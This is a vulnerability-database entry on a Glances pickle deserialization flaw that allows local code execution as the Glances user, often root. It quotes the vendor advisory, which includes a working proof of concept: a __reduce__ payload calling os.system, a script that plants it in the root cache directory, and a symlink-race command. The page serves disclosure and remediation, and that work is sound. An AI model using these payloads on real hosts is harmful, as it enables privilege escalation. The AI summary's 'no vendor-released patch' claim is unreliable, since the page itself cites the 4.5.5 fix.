Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconGain local shell on host or sibling container
-
DeliveryLocate Glances XDG cache directory
-
ExploitCraft pickle payload with __reduce__ os.system callable
-
InstallWrite payload to glances-version.db
-
C2Wait for Glances restart or trigger via systemd
-
Executepickle.load() executes payload as Glances user
-
ImpactEstablish persistence or escalate to root
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires (1) local write access by the attacker to the Glances user's XDG cache directory (~/.cache/glances/ or $XDG_CACHE_HOME/glances/) - arising from a world/group-writable cache dir, an ancestor created with a loose umask, a shared container volume between trust domains, or a TOCTOU symlink planted in ~/.cache/ before first run; (2) Glances must be restarted or started after the payload is planted; and (3) the check_update setting must be enabled, which IS the compiled-in default so no attacker-controlled configuration change is needed. Limiting factors: purely local vector (no network exploitation), the Glances process must restart for the payload to fire, and on hosts with properly restrictive ~/.cache/ permissions (0700) the attacker cannot plant the file. Impact severity scales with the privileges of the Glances process - full root compromise occurs only when Glances runs as root, which is common but not universal. |
| Impact | The CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8 High) accurately reflects local attack vector with low-privileged attacker and full triad impact. EPSS and KEV data are not provided in the input, so probability of mass exploitation cannot be quantified; the bug is not in CISA KEV at time of analysis. Real-world risk concentrates in two scenarios: (1) multi-user Linux hosts where Glances runs as root via systemd/cron and cache directory permissions are loose, and (2) container deployments sharing volumes between trust boundaries. Because Glances is often deliberately run as root to access hardware performance counters, successful exploitation directly yields root without a separate escalation step, which elevates the practical severity above the numeric score for those deployments. |
| Exploit ScenarioDerived | On a shared Linux host where Glances runs periodically as root and ~/.cache/glances/ is world-writable due to a loose umask, a low-privileged local user writes a pickle payload whose __reduce__ returns (os.system, ('id >> /tmp/proof',)) to /root/.cache/glances/glances-version.db. On the next Glances startup the deserializer invokes the embedded callable, executing arbitrary commands as root before the surrounding code raises a downstream TypeError. A complete PoC including the malicious pickle generator is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Local arbitrary code execution in Glances versions prior to 4.5.5 occurs when the daemon deserializes its version-check cache file via pickle.load() without integrity validation. An attacker with write access to the Glances user's XDG cache directory (~/.cache/glances/glances-version.db) can plant a malicious pickle that executes as the Glances process user - frequently root - on next startup. Publicly available exploit code exists in the GHSA advisory, but no public exploit identified at time of analysis as actively weaponized.
RemediationAI
Vendor-released patch: Glances 4.5.5 - upgrade immediately via pip install --upgrade glances or pull the updated Alpine 3.24 / Ubuntu Docker images per https://github.com/nicolargo/glances/releases/tag/v4.5.5, which replaces pickle with JSON in outdated.py. If patching cannot be done immediately, disable the version check by setting check_update = false in the Glances configuration (this loses upstream version notifications but eliminates the pickle.load call path entirely) and tighten cache directory permissions to mode 0700 on ~/.cache/glances/ to block local writes by other users. In container deployments, stop sharing the Glances user's cache directory across volumes with less-trusted containers. See https://github.com/nicolargo/glances/security/advisories/GHSA-9837-48hr-q32j for the full vendor advisory.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Glances is a widely used cross-platform system monitoring tool written in Python (distributed via PyPI as pkg:pip/glances). The flaw is a textbook CWE-502 Deserialization of Untrusted Data: glances/outdated.py calls pickle.load() on a file at a predictable, world-knowable path under the XDG cache directory. Python's pickle format is execution-capable by design - any class implementing __reduce__ can return an arbitrary callable that the interpreter invokes during deserialization - and there is no safe pickle subset, so the only correct remediation is to switch to a non-executing format such as JSON, which the v4.5.5 patch adopts.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Local vector requiring an unprivileged local account with write access to the cache dir; payload executes automatically on restart yielding full triad impact as the Glances user.
Primary rating from Vendor (https://github.com/nicolargo/glances).
CVSS VectorVendor: https://github.com/nicolargo/glances
DescriptionCVE.org
Summary
glances/outdated.py uses pickle.load() to read a version-check cache file stored at a predictable, world-accessible path (~/.cache/glances/glances-version.db or $XDG_CACHE_HOME/glances/glances-version.db). No integrity check, signature verification, or format validation is performed before deserialization. An attacker with write access to that path - through any of several realistic local or container-level scenarios - can plant a malicious pickle file and achieve arbitrary code execution as the OS user running Glances the next time it starts with version checking enabled (the default).
---
Details
Affected file: glances/outdated.py, method Outdated._load_cache(), line 121
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outdated.py#L121
# outdated.py (_load_cache, line 119-127)
try:
with open(self.cache_file, 'rb') as f:
cached_data = pickle.load(f)
# ← no integrity check
except Exception as e:
logger.debug(f"Cannot read version from cache file: {self.cache_file} ({e})")
...self.cache_file is constructed from the XDG cache directory path at Outdated.__init__():
# outdated.py (__init__)
self.cache_file = os.path.join(
user_cache_dir('glances')[0],
'glances-version.db'
)On a default Linux installation this resolves to /home/john/.cache/glances/glances-version.db (or /root/.cache/glances/… when Glances runs as root).
Python's pickle module is an execution-capable serialisation format: any class that implements __reduce__ can embed an arbitrary callable and argument tuple that Python will invoke unconditionally at pickle.load() time. There is no safe subset of pickle; the only safe mitigation is to not use it for untrusted data.
The code was verified on x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). A malicious pickle crafted with os.system() via __reduce__ executed the injected shell command successfully before the surrounding Python code raised a TypeError.
---
PoC
Special configuration required
No non-default Glances configuration is needed. Version checking is enabled by default (check_update = true). The only pre condition is that the attacker can write to the Glances user's XDG cache directory - see the attack scenarios below for how this arises in practice.
---
Attack scenario A - local privilege escalation (shared multi-user host)
Prerequisites: Glances runs periodically (e.g. via systemd or cron) as a privileged user (root or a dedicated monitoring account). The attacker is an unprivileged local user who has write access to the Glances user's ~/.cache/glances/ directory (e.g. the directory or an ancestor is group- or world-writable, or was created with overly permissive umask).
Step 1 - Identify the cache path
python3 -c "from glances.config import user_cache_dir; print(user_cache_dir()[0])"
# Example output: /root/.cache/glancesStep 2 - Craft and plant a malicious pickle
import pickle, os, pathlib
class MaliciousPayload:
def __reduce__(self):
# This command runs as the Glances process user
cmd = 'id >> /tmp/glances_rce_proof.txt'
return (os.system, (cmd,))
cache_dir = pathlib.Path('/root/.cache/glances')
# adjust to target
cache_file = cache_dir / 'glances-version.db'
cache_dir.mkdir(parents=True, exist_ok=True)
cache_file.write_bytes(pickle.dumps(MaliciousPayload()))
print(f'Payload written to {cache_file}')Step 3 - Wait for Glances to start (or restart it)
Glances calls _load_cache() automatically at startup when check_update = true (the compiled-in default). No special configuration is required by the attacker.
Step 4 - Verify execution
cat /tmp/glances_rce_proof.txt
# uid=0(root) gid=0(root) groups=0(root) ← output from the Glances-user context---
Attack scenario B - container / shared-volume poisoning
A compromised container that shares a Docker/Podman volume with the Glances container can write to the cache path on the shared volume. The next time Glances restarts (e.g. after a rolling update), the payload executes inside the Glances container with its privileges.
---
Attack scenario C - symlink race (TOCTOU)
Before the Glances cache directory is created for the first time (e.g. on a fresh installation), an attacker with write access to ~/.cache/ can create a symlink:
mkdir -p /home/john/.cache
ln -s /tmp/attacker_controlled /home/john/.cache/glancesWhen Glances writes its legitimate cache file it writes instead to /tmp/attacker_controlled/glances-version.db, which the attacker can replace with the malicious pickle before the next start.
---
Minimal self-contained reproduction
import sys, os, pickle, pathlib, argparse
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
FAKE_CACHE = pathlib.Path('/tmp/glances_test_cache')
CACHE_FILE = FAKE_CACHE / 'glances-version.db'
FAKE_CACHE.mkdir(parents=True, exist_ok=True)
class Exploit:
def __reduce__(self):
return (os.system, ('echo RCE_confirmed >> /tmp/glances_rce.txt',))
CACHE_FILE.write_bytes(pickle.dumps(Exploit()))
# Reproduce the exact Glances code path
from glances.outdated import Outdated
obj = object.__new__(Outdated)
obj.args = argparse.Namespace(disable_check_update=False, time=2)
obj.data = {}
obj.cache_file = str(CACHE_FILE)
try:
obj._load_cache()
# pickle.load() fires here
except Exception:
pass
# expected: int not subscriptable
import time; time.sleep(0.2)
print(pathlib.Path('/tmp/glances_rce.txt').read_text())
# Prints: RCE_confirmed---
Impact
Vulnerability type: Insecure Deserialization (CWE-502)
Who is impacted: Any system where Glances is run with version checking enabled (the default) in a shared environment where a less-privileged process can write to the Glances user's XDG cache directory, or in any containerised deployment using shared volumes.
Impact:
- Confidentiality: Full - the attacker gains code execution in the context of the Glances process and can read any data accessible to that user.
- Integrity: Full - arbitrary commands can modify files, install persistence mechanisms, or alter system state.
- Availability: Full - the Glances process and, if running as root, the system can be disrupted.
On many deployments Glances is run as root (required to access hardware performance counters without specific capabilities), meaning successful exploitation yields full root code execution without any further privilege escalation step.
---
Suggested Fix
Replace pickle with json for the version cache. The data stored is a simple Python dictionary containing two string values and a datetime object; a JSON representation is straightforward:
import json
from datetime import datetime
# Saving
with open(self.cache_file, 'w', encoding='utf-8') as f:
json.dump({
'installed_version': self.installed_version(),
'latest_version': latest,
'refresh_date': datetime.now().isoformat(),
}, f)
# Loading
with open(self.cache_file, 'r', encoding='utf-8') as f:
cached_data = json.load(f)
cached_data['refresh_date'] = datetime.fromisoformat(cached_data['refresh_date'])If pickle is retained for any reason, the cache file must be protected with an HMAC keyed from a Glances-managed secret (e.g. a random key stored in the Glances config directory, which should itself be mode 0600).
As an additional hardening measure, restrict the permissions of the Glances cache directory to 0700 at creation time.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
Articles & Coverage 2
Executive ViewAI
Glances monitoring daemon versions prior to 4.5.5 contain a high-severity local code execution vulnerability exploitable via unsafe pickle deserialization in the cache directory. With publicly available exploit code documented, infrastructure teams running Glances as root face significant risk of system compromise if threat actors gain local write access to the daemon's cache location.
No vendor-released patch identified at time of analysis. Implement these controls: (1) Set ~/.cache/glances/ permissions to 0700 (owner only); (2) Run Glances daemon as unprivileged user account, never root; (3) Deploy file integrity monitoring (OSSEC, Auditd) on cache directory; (4) Restrict local shell access via SSH keys, sudo controls, and container isolation; (5) Disable version-check feature in glances.conf if available; (6) Monitor process execution and file modifications in cache paths.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-502 – Deserialization of Untrusted Data
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
EUVD-2026-39519
GHSA-9837-48hr-q32j
NVD
CVE.org
EPSS
VulDB
Exploit-DB